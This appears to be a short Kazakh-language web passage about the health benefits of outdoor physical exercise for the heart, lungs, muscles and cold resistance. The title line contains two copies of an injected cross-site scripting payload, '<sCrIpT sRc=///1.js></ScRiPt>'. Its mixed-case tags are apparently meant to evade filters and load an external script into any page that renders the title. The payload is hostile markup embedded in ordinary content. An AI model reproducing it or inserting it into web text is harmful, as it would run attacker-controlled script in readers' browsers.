Таза ауадағы дене шынықтыру<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Ауадағы дене шынықтыру жүрек-қан тамырлары, тыныс алу, бұлшық ет және ағзаның басқа жүйелерінің дамуына, шынығуына ықпал етеді, суыққа қарсы тұруды арттырып, кеңістікте  бағдар қалыптастырып, табиғи жағдайларға дағдыларды бекітеді.